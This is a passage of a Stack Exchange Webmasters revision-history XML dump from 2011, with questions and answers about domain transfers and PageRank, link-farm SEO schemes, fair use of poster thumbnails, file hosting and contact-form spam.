out when your rankings temporarily fluctuate and drop.&#xD;&#xA;&#xD;&#xA;**If you mean &quot;the PageRank of your pages&quot;**&#xD;&#xA;&#xD;&#xA;This will affect PR of your *pages*. PageRank is per page not per website. If you do not do the 301 redirect I mentioned above you will lose whatever PageRank your pages currently have. If you do the 301 redirect you will retain most of it when Google refactors the PageRank for your pages after the 301 redirects kick in.&#xD;&#xA;&#xD;&#xA;FYI, Google does keep track of who owns a domain. If you have a history of owning domains that have a lot of low quality content or being penalized for manipulating the search engines buying a new domain name will not help you as Google will associate the new domain with you as well." />
  <row Id="43039" PostHistoryTypeId="2" PostId="17819" RevisionGUID="721ef5bc-2915-4757-b985-ae479b0098d4" CreationDate="2011-08-04T19:15:56.883" UserId="9433" UserDisplayName="user871203" Text="I'm buying a domain which already has 12 years, I would like to know if after the transfer for my id this domain will lose rank on google?&#xD;&#xA;&#xD;&#xA;or does it have any consequence for google rank ?" />
  <row Id="43040" PostHistoryTypeId="1" PostId="17819" RevisionGUID="721ef5bc-2915-4757-b985-ae479b0098d4" CreationDate="2011-08-04T19:15:56.883" UserId="9433" UserDisplayName="user871203" Text="What is the impact to Google rank when I transfer a domain?" />
  <row Id="43041" PostHistoryTypeId="3" PostId="17819" RevisionGUID="721ef5bc-2915-4757-b985-ae479b0098d4" CreationDate="2011-08-04T19:15:56.883" UserId="9433" UserDisplayName="user871203" Text="&lt;google&gt;&lt;seo&gt;&lt;domain-names&gt;" />
  <row Id="43042" PostHistoryTypeId="17" PostId="17821" RevisionGUID="d4ab9b50-6af5-4aa1-ab0d-252d1509c4ac" CreationDate="2011-08-04T20:16:13.003" UserId="-1" Comment="from http://stackoverflow.com/questions/6941885/linkpushing-for-seo-real-or-fake" Text="" />
  <row Id="43043" PostHistoryTypeId="17" PostId="17822" RevisionGUID="97541e7f-e062-482c-be6e-7401916bb088" CreationDate="2011-08-04T20:16:13.003" UserId="-1" Comment="from http://stackoverflow.com/questions/6941885/linkpushing-for-seo-real-or-fake" Text="" />
  <row Id="43044" PostHistoryTypeId="2" PostId="17822" RevisionGUID="4fac2c73-b1a4-49bd-b924-28e5ee69d399" CreationDate="2011-08-04T13:11:18.273" UserDisplayName="XenElement" Text="The way I understand it, google does double duty.&#xD;&#xA;&#xD;&#xA;The number of references to your site isn't the entirety of the algorithm - The quality of references also matters - i.e. the number of references to those references. For example, if I create one reference on Joe Bloggs and Sally Susan's pages, as well as 50 others, I'll have a lot of references. Now if I were to create say 10 references on pages such as Mac Rumors, Wired, PopSci, PCMag (pulling names out of my... head) then they would be considered more credible and more useful in terms of my google ranking.&#xD;&#xA;&#xD;&#xA;The other thing I'm guessing is that sites of &quot;higher quality&quot; are bound to be more picky about allowing random references in say, the comments, possibly using something like askimet to prevent link spam.&#xD;&#xA;&#xD;&#xA;So bottom line, I'm pretty sure Google's algorithm is much more complex than simply the number of references and a site like linkpushing may have some but not much effect.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;However, after googling around about link wheels, I found numerous pages about how well they work, as well as proven examples. It seems that by exploiting automatic posting sites such as Squidoo, Blogger, Wordpress, etc. which are already highly ranked in general, you can create &quot;quality references&quot; fairly easily. See [drawbacks and advantages of link wheels][1]. So from that angle, it seems google can be &quot;cheated&quot;, but they have some ways to figure out fake backlinks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cashcampfire.com/link-wheels-site-sandboxed/" />
  <row Id="43045" PostHistoryTypeId="2" PostId="17823" RevisionGUID="de6c4531-0798-4fcb-abda-653774acb403" CreationDate="2011-08-04T13:14:37.953" UserId="8422" Text="&lt;h2&gt;Fake&lt;/h2&gt;&#xD;&#xA;&#xD;&#xA;E.g. see [Link Farms are potentially damaging to your SEO efforts](http://www.degalseo.co.uk/linkfarms.html)&#xD;&#xA;&#xD;&#xA;and from [Wikipedia](http://en.wikipedia.org/wiki/Link_farm):&#xD;&#xA;&#xD;&#xA;&gt; Search engines countered the link farm movement by identifying&#xD;&#xA;&gt; specific attributes associated with link farm pages and filtering&#xD;&#xA;&gt; those pages from indexing and search results. In some cases, entire&#xD;&#xA;&gt; domains were removed from the search engine indexes in order to&#xD;&#xA;&gt; prevent them from influencing search results.&#xD;&#xA;&#xD;&#xA;and from The Register [Google whacks link farms](http://www.theregister.co.uk/2011/02/25/google_link_farm_change/)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&lt;h2&gt;Truth&lt;/h2&gt;&#xD;&#xA;&#xD;&#xA;Here's some advice from [the horses mouth](http://www.google.com/support/webmasters/bin/answer.py?answer=35769)&#xD;&#xA;&#xD;&#xA;  - Make a site with a clear hierarchy and text links. Every page should be reachable from at least one static text link.&#xD;&#xA;&#xD;&#xA;  - Offer a sitemap to your users with links that point to the important parts of your site. If the sitemap is larger than 100 or so links, you may want to break the sitemap into separate pages.&#xD;&#xA;&#xD;&#xA;  - Create a useful, information-rich site and write pages that clearly and accurately describe your content.&#xD;&#xA;&#xD;&#xA;  - Think about the words users would type to find your pages and make sure that your site actually includes those words within it.&#xD;&#xA;&#xD;&#xA;  - Try to use text instead of images to display important names, content or links. The Google crawler doesn't recognise text contained in images. If you must use images for textual content, consider using the &quot;ALT&quot; attribute to include a few words of descriptive text.&#xD;&#xA;&#xD;&#xA;  - Make sure that your &lt;title&gt; elements and ALT attributes are descriptive and accurate.&#xD;&#xA;&#xD;&#xA;  - Check for broken links and correct HTML.&#xD;&#xA;&#xD;&#xA;  - If you decide to use dynamic pages (i.e. the URL contains a &quot;?&quot; character), be aware that not every search engine spider crawls dynamic pages as well as static pages. It helps to keep the parameters short and few in number.&#xD;&#xA;&#xD;&#xA;  - Keep the links on a given page to a reasonable number (fewer than 100).&#xD;&#xA;&#xD;&#xA;  - Review our [image guidelines](http://www.google.com/support/webmasters/bin/answer.py?answer=114016) for best practices on publishing images.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&lt;h2&gt;Reality Check&lt;/h2&gt;&#xD;&#xA;&#xD;&#xA;  - Google turnover is $5500000000, profit $1480000000.&#xD;&#xA;  - Google's success depends almost entirely on quality (usefulness) of search results&#xD;&#xA;  - Google can afford to employ the best brains on the planet.&#xD;&#xA;  - Google have the incentive and the resourcess to penalise webmasters who harm Google&#xD;&#xA;     by devaluing it's search results through fakery, trickery and deviousness.&#xD;&#xA;  - Google have no incentive to make Webmasters need to employ expensive SEO services.&#xD;&#xA;  - Google have every incentive to assist and reward webmasters who have &#xD;&#xA;     **useful** content.&#xD;&#xA;" />
  <row Id="43046" PostHistoryTypeId="2" PostId="17821" RevisionGUID="a57d34d5-21b8-459a-ac9b-93cd52d3957a" CreationDate="2011-08-04T13:02:18.643" UserDisplayName="Giuseppe Di Federico" Text="While I was googling today, I noticed this site: http://linkpushing.net/ this ensure you to be pushed at the top of the google research's stack, by creating random reference to your sites on random blogs and/or articles. &lt;br/&gt;&#xD;&#xA;I can't believe that Google doesn't do anything against techniques like this, and I would like to know from someone more able than me on SEO subject if it's really possible to tease the google service in this way. And if you suggest to use this tecnique to my site." />
  <row Id="43047" PostHistoryTypeId="1" PostId="17821" RevisionGUID="a57d34d5-21b8-459a-ac9b-93cd52d3957a" CreationDate="2011-08-04T13:02:18.643" UserDisplayName="Giuseppe Di Federico" Text="Linkpushing for SEO, real or fake?" />
  <row Id="43048" PostHistoryTypeId="3" PostId="17821" RevisionGUID="a57d34d5-21b8-459a-ac9b-93cd52d3957a" CreationDate="2011-08-04T13:02:18.643" UserDisplayName="Giuseppe Di Federico" Text="&lt;google&gt;&lt;seo&gt;&lt;search-engines&gt;" />
  <row Id="43049" PostHistoryTypeId="17" PostId="17823" RevisionGUID="72baadd2-bc44-49be-9410-a6551429f9d6" CreationDate="2011-08-04T20:16:13.003" UserId="-1" Comment="from http://stackoverflow.com/questions/6941885/linkpushing-for-seo-real-or-fake" Text="" />
  <row Id="43050" PostHistoryTypeId="25" PostId="17819" RevisionGUID="0a51f0d8-783b-49f1-9624-3030022994d2" CreationDate="2011-08-04T21:34:10.837" Comment="http://twitter.com/#!/StackWebmasters/status/99231679977230336" />
  <row Id="43051" PostHistoryTypeId="2" PostId="17824" RevisionGUID="4a05143b-33e8-4758-9727-0d2ea2e4107e" CreationDate="2011-08-04T22:27:29.807" UserId="660" Text="Mix the content from a few sources and add attribution links. Tada! ;) I don't even bother doing that fyi and I don't face any problems. I would not recommend it as a long term strategy though, because a manual review may hammer you down. Make sure you have good design and the chances are slim ...but then again, if you create looots of sites, it 's not even important..." />
  <row Id="43052" PostHistoryTypeId="2" PostId="17825" RevisionGUID="9003da44-4204-413e-bb76-eb72b9575b1d" CreationDate="2011-08-04T22:46:22.680" UserId="660" Text="Imho, you are spending your time for nothing...&#xD;&#xA;&#xD;&#xA;&gt; Even though we sometimes use the description meta tag for the snippets&#xD;&#xA;&gt; we show, **we still don't use the description meta tag in our&#xD;&#xA;&gt; ranking**.&#xD;&#xA;&#xD;&#xA;Source: [http://googlewebmastercentral.blogspot.com/2009/09/google-does-not-use-keywords-meta-tag.html][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/09/google-does-not-use-keywords-meta-tag.html" />
  <row Id="43053" PostHistoryTypeId="2" PostId="17826" RevisionGUID="52af705a-1c87-487a-8a14-85a3dd7cfe37" CreationDate="2011-08-04T23:13:52.267" UserId="9404" Text="I have added the Google +1 Button to my website and discovered the new Social Activity section in Google WebMaster's Tools. Apparently, one of the interesting things you can learn about your audience is demographic data. But in GWMT, the _Social Activity &gt; Audience_ section for my site (currently 34 +1's), says the following: &#xD;&#xA;&#xD;&#xA;&gt; Your site doesn’t have enough +1′s yet to show characteristics&#xD;&#xA;&#xD;&#xA;But I'm not sure how many +1's is enough. Google's official [help page for the Audience section][1] offers little insight:&#xD;&#xA;&#xD;&#xA;&gt; The Audience page displays information about people who have +1'd your pages, including the total number of unique users, their location, and their age and gender.&#xD;&#xA;&#xD;&#xA;&gt; All information is anonymized; Google doesn't share personal information about people who have +1’d your pages. To protect privacy, Google won't display age, gender, or location data unless a certain minimum number of people have +1'd your content.&#xD;&#xA;&#xD;&#xA;But what is that &quot;certain minimum number&quot;? I've tried Googling this but all I could find to date was [this page][2] which doesn't answer the question.&#xD;&#xA;&#xD;&#xA;So how many +1's does a site need before GWMT will show me audience demographic characteristics?&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/support/webmasters/bin/answer.py?answer=1198127&amp;hl=en&#xD;&#xA;  [2]: http://www.im3.co.uk/blog/how-many-1s-do-i-need-to-show-characteristics/" />
  <row Id="43054" PostHistoryTypeId="1" PostId="17826" RevisionGUID="52af705a-1c87-487a-8a14-85a3dd7cfe37" CreationDate="2011-08-04T23:13:52.267" UserId="9404" Text="How Many Google +1's Does a Website need in order for Google WebMaster's Tools to Show Characteristics" />
  <row Id="43055" PostHistoryTypeId="3" PostId="17826" RevisionGUID="52af705a-1c87-487a-8a14-85a3dd7cfe37" CreationDate="2011-08-04T23:13:52.267" UserId="9404" Text="&lt;google-webmaster-tools&gt;&lt;google-plus-one&gt;&lt;demographics&gt;" />
  <row Id="43056" PostHistoryTypeId="2" PostId="17827" RevisionGUID="28f5d948-c978-4f09-9171-661849b100b2" CreationDate="2011-08-05T00:18:28.683" UserId="4016" Text="*Didn't know whether this would fit here or on the photographic Q&amp;A site, so if it doesnt' fit here, please move.*&#xD;&#xA;&#xD;&#xA;I was looking on flickchart tonight and was wondering how they legitimized the usage of movie posters on their site, as I figure that those posters would be copyrighted. However it's been online for a few years now, the posters are still there, so I figure they're considered fair use.&#xD;&#xA;&#xD;&#xA;What my question is would this line in their tos under copyright complaints they have the following line explain it?&#xD;&#xA;&#xD;&#xA;&gt; It is believed that the use of scaled-down, low-resolution forms of said media to provide criticism or comment qualifies as fair use under United States copyright law.&#xD;&#xA;&#xD;&#xA;So I guess my question is if that is actually valid? I'm looking into projects that would utilize multiple images but the whole &quot;what is fair use&quot; issue has been both putting the projects on hold, and being a stubborn issue to resolve&#xD;&#xA;&#xD;&#xA;Thanks for anyone that can help to shed some light on this issue." />
  <row Id="43057" PostHistoryTypeId="1" PostId="17827" RevisionGUID="28f5d948-c978-4f09-9171-661849b100b2" CreationDate="2011-08-05T00:18:28.683" UserId="4016" Text="Would reducing the quality and/or size of images fall under fair use?" />
  <row Id="43058" PostHistoryTypeId="3" PostId="17827" RevisionGUID="28f5d948-c978-4f09-9171-661849b100b2" CreationDate="2011-08-05T00:18:28.683" UserId="4016" Text="&lt;websites&gt;&lt;images&gt;&lt;legal&gt;" />
  <row Id="43059" PostHistoryTypeId="2" PostId="17828" RevisionGUID="0ffe7ea0-0b48-4a18-b9ec-16ff61b19cc5" CreationDate="2011-08-05T00:33:19.967" UserId="1253" Text="Nobody knows how many you need yet. But before long someone will have enough +1's to get reporting in GWT and hopefully publish their findings. So keep Googling as it's only a matter of time before this happens." />
  <row Id="43060" PostHistoryTypeId="25" PostId="17826" RevisionGUID="58a5a2c3-3743-4ab5-a013-12bea3105ea2" CreationDate="2011-08-05T00:34:10.877" Comment="http://twitter.com/#!/StackWebmasters/status/99276978477219840" />
  <row Id="43061" PostHistoryTypeId="2" PostId="17829" RevisionGUID="e5dd0c99-00e0-485a-a86c-424d4bc4260c" CreationDate="2011-08-05T00:48:21.880" UserId="4502" Text="It's worth noting that you yourself may not be dealing with Fair Use at all, which is a United States concept, but [fair dealing](http://en.wikipedia.org/wiki/Fair_dealing#Canada). Assuming you still operate in Canada, anyway. You might want to edit your question to specify that if so.&#xD;&#xA;&#xD;&#xA;That aside, a couple things can generally be assumed. Elsewhere in that complaint section you'll find a bit essentially saying &quot;If you don't want your image here, tell us.&quot; I'd wager if you contacted them about how often that happens, the answer will be rarely to never. Fair use/dealing and whether the copyright holder even bothers going after someone in the first place often relies heavily on intent. This site is clearly not misrepresenting itself as being the studios or anything, and it's probably just not worth their time to bother versus the free &quot;advertising&quot; that comes of people creating these lists. " />
  <row Id="43062" PostHistoryTypeId="5" PostId="17827" RevisionGUID="783676ca-f198-427b-8b52-7205c655b286" CreationDate="2011-08-05T01:12:15.627" UserId="4016" Comment="added 113 characters in body" Text="*Didn't know whether this would fit here or on the photographic Q&amp;A site, so if it doesnt' fit here, please move.*&#xD;&#xA;&#xD;&#xA;I was looking on flickchart tonight and was wondering how they legitimized the usage of movie posters on their site, as I figure that those posters would be copyrighted. However it's been online for a few years now, the posters are still there, so I figure they're considered fair use.&#xD;&#xA;&#xD;&#xA;What my question is would this line in their tos under copyright complaints they have the following line explain it?&#xD;&#xA;&#xD;&#xA;&gt; It is believed that the use of scaled-down, low-resolution forms of said media to provide criticism or comment qualifies as fair use under United States copyright law.&#xD;&#xA;&#xD;&#xA;So I guess my question is if that is actually valid, and if so, would the legislation be affected by the psychical location of the servers that provide said content? I'm looking into projects that would utilize multiple images but the whole &quot;what is fair use&quot; issue has been both putting the projects on hold, and being a stubborn issue to resolve&#xD;&#xA;&#xD;&#xA;Thanks for anyone that can help to shed some light on this issue." />
  <row Id="43063" PostHistoryTypeId="2" PostId="17830" RevisionGUID="cfcb6708-7c85-43e6-87ff-3a17b5ae64e2" CreationDate="2011-08-05T01:17:19.087" UserId="558" Text="The intermediate bundle was the wrong one for the type of cert that was purchased.&#xD;&#xA;&#xD;&#xA;As a side note, while 'namecheap.com' does have cheap in the name, they do offer everything from very inexpensive certs for like $10 all the way on up to EV certs. " />
  <row Id="43064" PostHistoryTypeId="2" PostId="17831" RevisionGUID="9af43bbd-2a31-40ea-b980-d07d77597360" CreationDate="2011-08-05T01:39:33.500" UserId="8799" Text="By reproducing a low-res image of a movie poster you're actually doing ***free advertising*** for their movie. Yes, it's probably in their right to claim copyright theft, but *what damages are you posing to their business?* Other than boosting it?&#xD;&#xA;&#xD;&#xA;They can ruin your game and make your life a mess, but they can't milk you big money." />
  <row Id="43065" PostHistoryTypeId="2" PostId="17832" RevisionGUID="8aae492f-35b3-4eec-a7ec-9891eaa4b209" CreationDate="2011-08-05T02:27:56.850" UserId="5013" Text="I have a Blogger blog and I would like to have a way for readers to download files (Blogger doesn't host files like that.) I would use something like github, but one of my files is actually just a spreadsheet make with OpenOffice Calc that has a function on it -- not really something for GitHub.&#xD;&#xA;&#xD;&#xA;Where is a great place to upload this where users can download the files if they want?&#xD;&#xA;&#xD;&#xA;I know there are a lot of those ad-ridden &quot;get paid to have people download files from you&quot; type of sites and that's exactly what I would like to avoid.&#xD;&#xA;&#xD;&#xA;Anyone know of a (hopefully) free place I can dump files so that people can download them that isn't junky, ad-ridden, scammy, dirty, or virus-filled place?" />
  <row Id="43066" PostHistoryTypeId="1" PostId="17832" RevisionGUID="8aae492f-35b3-4eec-a7ec-9891eaa4b209" CreationDate="2011-08-05T02:27:56.850" UserId="5013" Text="Looking for a Clean File Host" />
  <row Id="43067" PostHistoryTypeId="3" PostId="17832" RevisionGUID="8aae492f-35b3-4eec-a7ec-9891eaa4b209" CreationDate="2011-08-05T02:27:56.850" UserId="5013" Text="&lt;uploading&gt;" />
  <row Id="43068" PostHistoryTypeId="2" PostId="17833" RevisionGUID="38a8b264-62d7-4b3b-865e-655b4fe40fc7" CreationDate="2011-08-05T03:16:17.673" UserId="6776" Text="I'm getting a dozen of messages from my [Contact Us][1] form of my site daily from some bot.&#xD;&#xA;I remember this is happening for third time in a year from only this site and not from any other sites. What could  the motive of this?&#xD;&#xA;&#xD;&#xA;In the message below, the first line is generated by my site while the rest by the bot. The URL : http://ubslvgnrhydc.com does not seem to be valid.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    This is an enquiry e-mail via http://www.downloadformsindia.com/ from:&#xD;&#xA;    ppoyjslewfq &lt;rdqcmw@yewxed.com&gt;&#xD;&#xA;    &#xD;&#xA;    p5FiWn  hpipnbubhuhm, [url=http://ubslvgnrhydc.com/]ubslvgnrhydc[/url], [link=http://jurwkuowkjtl.com/]jurwkuowkjtl[/link], http://uyddxwcitwfm.com/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.downloadformsindia.com/Contact-Us/Contact-Us.html" />
  <row Id="43069" PostHistoryTypeId="1" PostId="17833" RevisionGUID="38a8b264-62d7-4b3b-865e-655b4fe40fc7" CreationDate="2011-08-05T03:16:17.673" UserId="6776" Text="What could be the reason of this spam?" />
  <row Id="43070" PostHistoryTypeId="3" PostId="17833" RevisionGUID="38a8b264-62d7-4b3b-865e-655b4fe40fc7" CreationDate="2011-08-05T03:16:17.673" UserId="6776" Text="&lt;spam&gt;&lt;spam-prevention&gt;" />
  <row Id="43071" PostHistoryTypeId="25" PostId="17827" RevisionGUID="5210d6ea-98bd-48fe-90bc-5fa2d95517b3" CreationDate="2011-08-05T03:34:10.583" Comment="http://twitter.com/#!/StackWebmasters/status/99322275903438849" />
  <row Id="43072" PostHistoryTypeId="5" PostId="17827" RevisionGUID="db982fb5-f9da-45b8-a216-6f2acf339ba4" CreationDate="2011-08-05T04:34:47.793" UserId="5013" Comment="grammar edit" Text="*Didn't know whether this would fit here or on the photographic Q&amp;A site, so if it doesn't fit here, please move.*&#xD;&#xA;&#xD;&#xA;I was looking on flickchart tonight and was wondering how they legitimized the usage of movie posters on their site, as I figure that those posters would be copyrighted. However it's been online for a few years now, the posters are still there, so I figure they're considered fair use.&#xD;&#xA;&#xD;&#xA;What my question is would this line in their TOS under copyright complaints they have the following line explain it?&#xD;&#xA;&#xD;&#xA;&gt; It is believed that the use of scaled-down, low-resolution forms of said media to provide criticism or comment qualifies as fair use under United States copyright law.&#xD;&#xA;&#xD;&#xA;So I guess my question is if that is actually valid, and if so, would the legislation be affected by the physical location of the servers that provide said content? I'm looking into projects that would utilize multiple images but the whole &quot;what is fair use&quot; issue has been both putting the projects on hold, and being a stubborn issue to resolve.&#xD;&#xA;&#xD;&#xA;Thanks for anyone that can help to shed some light on this issue." />
  <row Id="43073" PostHistoryTypeId="24" PostId="17827" RevisionGUID="db982fb5-f9da-45b8-a216-6f2acf339ba4" CreationDate="2011-08-05T04:34:47.793" Comment="Proposed by 5013 approved by 1253 edit id of 477" />
  <row Id="43074" PostHistoryTypeId="2" PostId="17834" RevisionGUID="a2346931-118d-4d59-80d2-861b4f4a5225" CreationDate="2011-08-05T05:57:24.953" UserId="8857" Text="So i visited this site &lt;http://fantasy.premierleague.com/&gt; and in this when i go to the fixtures, i was thinking, how did the developer designed this so that the new fixtures get generated on its own?&#xD;&#xA;For eg if i am having 10 teams(say), and i am competing them in some competition(say football) then how do i design my thing so that after each week a new set of fixtures is generated, shall i change the page after every week, and change it manually, or how do i do it. Say, i am having all my fixtures in hand, i.e. i know every weekly fixture, then how do i design the whole thing. It will not be nice to edit the page every time i need to change the fixtures.&#xD;&#xA;I am still a beginner, who have practiced a bit of PHP, so kindly help!" />
  <row Id="43075" PostHistoryTypeId="1" PostId="17834" RevisionGUID="a2346931-118d-4d59-80d2-861b4f4a5225" CreationDate="2011-08-05T05:57:24.953" UserId="8857" Text="Pairing teams up for competition" />
  <row Id="43076" PostHistoryTypeId="3" PostId="17834" RevisionGUID="a2346931-118d-4d59-80d2-861b4f4a5225" CreationDate="2011-08-05T05:57:24.953" UserId="8857" Text="&lt;php&gt;&lt;website-design&gt;" />
  <row Id="43077" PostHistoryTypeId="25" PostId="17821" RevisionGUID="a5e201aa-7640-492b-ad37-65812d78dc98" CreationDate="2011-08-05T06:34:10.677" Comment="http://twitter.com/#!/StackWebmasters/status/99367574751543296" />
  <row Id="43078" PostHistoryTypeId="2" PostId="17835" RevisionGUID="2673708f-5877-424a-8892-1eb84fd0a4f7" CreationDate="2011-08-05T06:36:36.317" UserId="7198" Text="[MediaFire,](http://www.mediafire.com/) [FileDropper,](http://www.filedropper.com/) [Wuala,](http://www.wuala.com/) [box.net,](http://www.box.net) and [Dropbox](http://www.dropbox.com/) all allow file upload and sharing of public download links." />
  <row Id="43079" PostHistoryTypeId="5" PostId="17835" RevisionGUID="33d69c64-229e-42fa-82f1-7c7b0f227c8a" CreationDate="2011-08-05T08:26:15.693" UserId="7198" Comment="added 135 characters in body" Text="[MediaFire,](http://www.mediafire.com/) [FileDropper,](http://www.filedropper.com/) [Wuala,](http://www.wuala.com/) [box.net,](http://www.box.net) and [Dropbox](http://www.dropbox.com/) all allow file upload and sharing of public download links.&#xD;&#xA;&#xD;&#xA;See also this [comparison of file hosting services](http://en.wikipedia.org/wiki/Comparison_of_file_hosting_services) on Wikipedia." />
  <row Id="43080" PostHistoryTypeId="2" PostId="17836" RevisionGUID="6193230e-741b-44fe-b577-d93ea68afd2b" CreationDate="2011-08-05T08:37:08.327" UserId="1643" Text="This should do it&#xD;&#xA;&#xD;&#xA;    RewriteRule ^(.*)/(.*)/[0-9]\-(.*)$ http://yoursite.com/$1/$2/$3" />
  <row Id="43081" PostHistoryTypeId="4" PostId="11593" RevisionGUID="e7c738c5-6ff2-4246-9bc7-4f60b4f7e5e5" CreationDate="2011-08-05T08:42:24.170" UserId="1643" Comment="add" Text="What kind of spam is this on our form?" />
  <row Id="43082" PostHistoryTypeId="6" PostId="11593" RevisionGUID="e7c738c5-6ff2-4246-9bc7-4f60b4f7e5e5" CreationDate="2011-08-05T08:42:24.170" UserId="1643" Comment="add" Text="&lt;email&gt;&lt;spam&gt;&lt;forms&gt;" />
  <row Id="43083" PostHistoryTypeId="5" PostId="17833" RevisionGUID="634a55a2-d44e-42a8-8b18-0bf4758849cd" CreationDate="2011-08-05T08:49:45.407" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What kind of spam is this on our form?](http://webmasters.stackexchange.com/questions/11593/what-kind-of-spam-is-this-on-our-form)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I'm getting a dozen of messages from my [Contact Us][1] form of my site daily from some bot.&#xD;&#xA;I remember this is happening for third time in a year from only this site and not from any other sites. What could  the motive of this?&#xD;&#xA;&#xD;&#xA;In the message below, the first line is generated by my site while the rest by the bot. The URL : http://ubslvgnrhydc.com does not seem to be valid.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    This is an enquiry e-mail via http://www.downloadformsindia.com/ from:&#xD;&#xA;    ppoyjslewfq &lt;rdqcmw@yewxed.com&gt;&#xD;&#xA;    &#xD;&#xA;    p5FiWn  hpipnbubhuhm, [url=http://ubslvgnrhydc.com/]ubslvgnrhydc[/url], [link=http://jurwkuowkjtl.com/]jurwkuowkjtl[/link], http://uyddxwcitwfm.com/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.downloadformsindia.com/Contact-Us/Contact-Us.html" />
  <row Id="43084" PostHistoryTypeId="10" PostId="17833" RevisionGUID="a93c441f-bc67-4ada-97e2-b25e787c7aad" CreationDate="2011-08-05T08:49:45.157" UserId="1064" CloseReasonId="1" Text="[{&quot;Id&quot;:1643,&quot;DisplayName&quot;:&quot;paulmorriss&quot;},{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;}]" />
  <row Id="43085" PostHistoryTypeId="2" PostId="17837" RevisionGUID="795e5be2-dfdf-4507-9e96-7f6b9a657e0b" CreationDate="2011-08-05T08:51:16.667" UserId="2025" Text="Is there a way to connect the keyword with the location withing Google Analytics?&#xD;&#xA;&#xD;&#xA;I would like to be able to see what cities are searching for what terms." />
  <row Id="43086" PostHistoryTypeId="1" PostId="17837" RevisionGUID="795e5be2-dfdf-4507-9e96-7f6b9a657e0b" CreationDate="2011-08-05T08:51:16.667" UserId="2025" Text="Connecting keywords with location" />
  <row Id="43087" PostHistoryTypeId="3" PostId="17837" RevisionGUID="795e5be2-dfdf-4507-9e96-7f6b9a657e0b" CreationDate="2011-08-05T08:51:16.667" UserId="2025" Text="&lt;seo&gt;&lt;google-analytics&gt;" />
  <row Id="43088" PostHistoryTypeId="2" PostId="17838" RevisionGUID="bdff5432-3b41-4d6c-98e1-f3ce848e9e8b" CreationDate="2011-08-05T08:57:48.137" UserId="1643" Text="On the &quot;new&quot; Google analytics (I put new in quote marks because one day the new version will be the old version, but in August 2011 it's new) on the report of keywords you can click &quot;secondary dimension&quot; and choose Visitors -&gt; City. &#xD;&#xA;&#xD;&#xA;On the old version, on the keyword report you click the dropdown arrow next to None above the list and then choose Geographic -&gt; City." />
  <row Id="43089" PostHistoryTypeId="2" PostId="17839" RevisionGUID="a4d7c27b-2929-4856-8ea7-41b39264f19d" CreationDate="2011-08-05T09:13:18.990" UserId="7198" Text="###Does reducing image size or quality alone strengthen a fair use defence?&#xD;&#xA;Probably not. From the [Chilling Effects FAQ:](http://chillingeffects.org/fairuse/faq.cgi#QID827)&#xD;&#xA;&#xD;&#xA;&gt; &quot;It is more likely that a court will find fair use if the defendant's&#xD;&#xA;&gt; use of the image advances a purpose different than the copyright&#xD;&#xA;&gt; holder's, rather than merely superseding the object of the originals.&#xD;&#xA;&gt; For example, the Ninth Circuit found there to be a fair use since the&#xD;&#xA;&gt; displayed [thumbnail] images were not for illustrative artistic&#xD;&#xA;&gt; purposes, but were rather used as part of an image search engine as a&#xD;&#xA;&gt; means to access other images and web sites.&quot;&#xD;&#xA;&#xD;&#xA;Case law suggests that, with images, size is less important than the reason for their reuse. Using a smaller version of the image alone will not necessarily strengthen a fair use defence, but using a smaller image in a more creative way that provides value without damaging the copyright holder may improve a defence.   &#xD;&#xA;&#xD;&#xA;However, from the [same page](http://chillingeffects.org/fairuse/faq.cgi#QID817):&#xD;&#xA;&#xD;&#xA;&gt; &quot;In general, the less of the copyrighted work that is used, the more&#xD;&#xA;&gt; likely the use will be considered fair. If, however, the defendant&#xD;&#xA;&gt; copied nearly all of, or the heart of, the copyrighted work, his or&#xD;&#xA;&gt; her use is less likely to be considered fair.&quot;&#xD;&#xA;&#xD;&#xA;You might argue that using a thumbnail was using 'less' of the copyrighted work, or you could simply crop a portion of the image. Both *may* protect you, but copyright cases are judged individually, and I wouldn't be prepared to rely on using a smaller image as my only defence.&#xD;&#xA;&#xD;&#xA;###Why else might reusing a movie poster be deemed fair use?&#xD;&#xA;One of the factors that the fair use doctrine considers is &quot;the effect of [the] defendant's use on the potential market of the copyrighted work&quot;. From the Chilling Effects FAQ:&#xD;&#xA;&#xD;&#xA;&gt; &quot;This factor considers the effect that the defendant's use has on the&#xD;&#xA;&gt; copyright owner's ability to exploit his or her original work. The&#xD;&#xA;&gt; court may... consider whether harm to a potential market exists. The&#xD;&#xA;&gt; burden of proof here rests on the defendant for commercial uses, but&#xD;&#xA;&gt; on the copyright owner for noncommercial uses.&quot;&#xD;&#xA;&#xD;&#xA;If you're reusing the image for noncommercial purposes, the copyright owner has to prove that your use caused them harm. If you're using the image for commercial purposes, it's up to you to prove that it did no damage. (In the US, at least.)&#xD;&#xA;&#xD;&#xA;One reason that reusing a movie poster may fall under fair use when included in a review or news piece is because it likely causes no harm to the copyright owner. Note that this alone isn't necessarily enough for a watertight fair use defence, but it may strengthen your case if no damage has been done to the copyright holder or their ability to reuse the copyrighted work (e.g. it is not a vicious parody that renders official reuse of the source image unthinkable).&#xD;&#xA;&#xD;&#xA;###Why are those movie posters still online?&#xD;&#xA;We can now surmise as to why the copyrighted posters are still online:&#xD;&#xA;&#xD;&#xA;1. The studios haven't seen them.&#xD;&#xA;2. The studios *have* seen them but doesn't consider their use a violation of copyright.&#xD;&#xA;3. The studios *have* seen them, have issued a takedown notice, and the site owner hasn't responded.&#xD;&#xA;&#xD;&#xA;I consider 1 and 2 most likely in this case.&#xD;&#xA;&#xD;&#xA;###Whose law applies?&#xD;&#xA;A determined company with competent lawyers may attempt to claim jurisdiction to 